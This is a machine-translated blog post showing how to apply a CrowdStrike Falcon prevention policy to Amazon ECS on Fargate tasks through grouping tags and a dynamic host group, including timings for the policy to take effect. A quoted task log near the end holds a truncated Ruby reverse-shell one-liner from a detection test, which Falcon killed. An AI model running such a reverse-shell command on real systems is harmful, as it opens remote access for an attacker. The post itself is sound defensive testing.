
I Tried Assigning a CrowdStrike Falcon Prevention Policy to Amazon ECS on Fargate Tasks
This page has been translated by machine translation. View original
Hello, I'm Hayashi.
In my previous article, I deployed the CrowdStrike Falcon container sensor to an Amazon ECS on Fargate task.
This time, I used the same test environment.
In Falcon, you configure what to detect and what to prevent with a "prevention policy."
In the previous environment, the task was assigned the default prevention policy with all settings disabled, so Falcon only displayed detections.
A prevention policy is assigned to a "host group," which groups hosts together.
Every time a Fargate task is replaced, it becomes a new host with a different host ID in Falcon.
So I used a dynamic host group, to which hosts belong based on a tag attached to the sensor.
I assigned a prevention policy to this host group and checked how long it took to be applied.
Conclusion First
- If you use a dynamic host group based on a grouping tag, the same prevention policy is assigned to replaced tasks as well
- For the task that was running when the policy was assigned, the prevention policy was still "Change pending" even after 23 minutes
- For the replaced task, the prevention policy was applied about 14 minutes after it was assigned
- On the task to which
Phase 3 - optimal protectionwas applied, Falcon forcibly terminated the process
Specifying a Grouping Tag
In the Falcon console, a tag attached to a sensor is called a "grouping tag."
I specified the grouping tag by adding -falconctl-opts to the command I used to patch the task definition in the previous article.
I named the tag falcon-fargate-test.
Here is the command with the tag specified.
docker run --rm -v "$PWD/spec:/var/run/spec" "$FALCON_IMAGE" \
-cid "$FALCON_CID" \
-image "$FALCON_IMAGE" \
-pulltoken "$PULL_TOKEN" \
-falconctl-opts "--tags=falcon-fargate-test" \
-ecs-spec-file /var/run/spec/taskdef.json > patched.json
In the patched task definition, the value of the environment variable FALCONCTL_OPTS became --tags=falcon-fargate-test --cid=<CID>.
When I registered this task definition and updated the service, the launched task had the tag SensorGroupingTags/falcon-fargate-test.
In the Falcon console, grouping tags are displayed with SensorGroupingTags/ prepended.
You can check the tag in the "System" tab of "Asset details."

Creating a Host Group
The conditions for hosts to belong to a group are specified with assignment rules.
The candidate values for assignment rules show the tags attached to hosts.
Therefore, I launched the tagged task before creating the host group.
From the Falcon console menu, I opened "Host setup and management" → "Host groups" under "Endpoint management."
I clicked "Create new group" and entered falcon-fargate-test, the same as the tag, as the group name.
I selected "Dynamic" as the group type.
The creation dialog has a note saying "The group type cannot be changed after creation."
I opened the created group and selected "Tag" via "Create assignment rule" → "Add filter."
For the value, I specified SensorGroupingTags/falcon-fargate-test.
When I clicked "Apply," the task that matched the condition appeared in the list.

Finally, I clicked "Save assignment rule."
Assigning a Prevention Policy
I opened the "Policy assignment" tab of the host group.
I clicked "Add policy" in the "Prevention policy" row and selected the Linux Phase 3 - optimal protection.
Phase 3 - optimal protection is a prevention policy that had already been created in this environment.

Time Until Application
I checked the status of the prevention policy in the list of target hosts of the host group.
In the "Prevention policy" column, "Change pending" is shown while waiting to be applied, and the date and time of application is shown once applied.
When I assigned the prevention policy to the host group, one tagged task was running.
This task remained "Change pending" even 23 minutes after the prevention policy was assigned.
So I replaced the task by specifying --force-new-deployment with the AWS CLI update-service.
On the replaced task, the prevention policy became applied.
The elapsed times below are counted from when it appeared as a host in Falcon.
| Since appearing in Falcon | Status |
|---|---|
| Immediately | Belonged to the host group based on the tag condition |
| About 1.5 minutes | Phase 3 - optimal protection was assigned and "Change pending" was displayed |
| About 15.5 minutes | The date and time of application was displayed |

From the time the prevention policy was assigned until it was applied, it took about 14 minutes.
Confirming Prevention
On the task to which Phase 3 - optimal protection was applied, Falcon forcibly terminated the process upon the same BashReverseShell detection as in the previous article.
The "Action taken" in the detection details was "Process was killed."
With the default prevention policy, it was "Policy disabled - process not killed."

In the task logs as well, I could confirm that the test process ended with Killed.
Executing Command and Control via Remote Access Tools using Ruby script. ...
/home/eval/bin/Command_Control_via_Remote_Access.sh: line 7: 308 Killed ruby -rsocket -e'exit if fork;s=TCPSocket.new("192.168.1.222",4444);...'
Summary
I tried assigning a CrowdStrike Falcon prevention policy to an Amazon ECS on Fargate task.
- I added
-falconctl-optsto the patching command to attach a grouping tag to the sensor - I created a host group with the group type "Dynamic" and specified the tag in the assignment rule
- I assigned
Phase 3 - optimal protectionto the host group and replaced the running task
I hope this article is helpful to someone. Thank you for reading to the end!
References




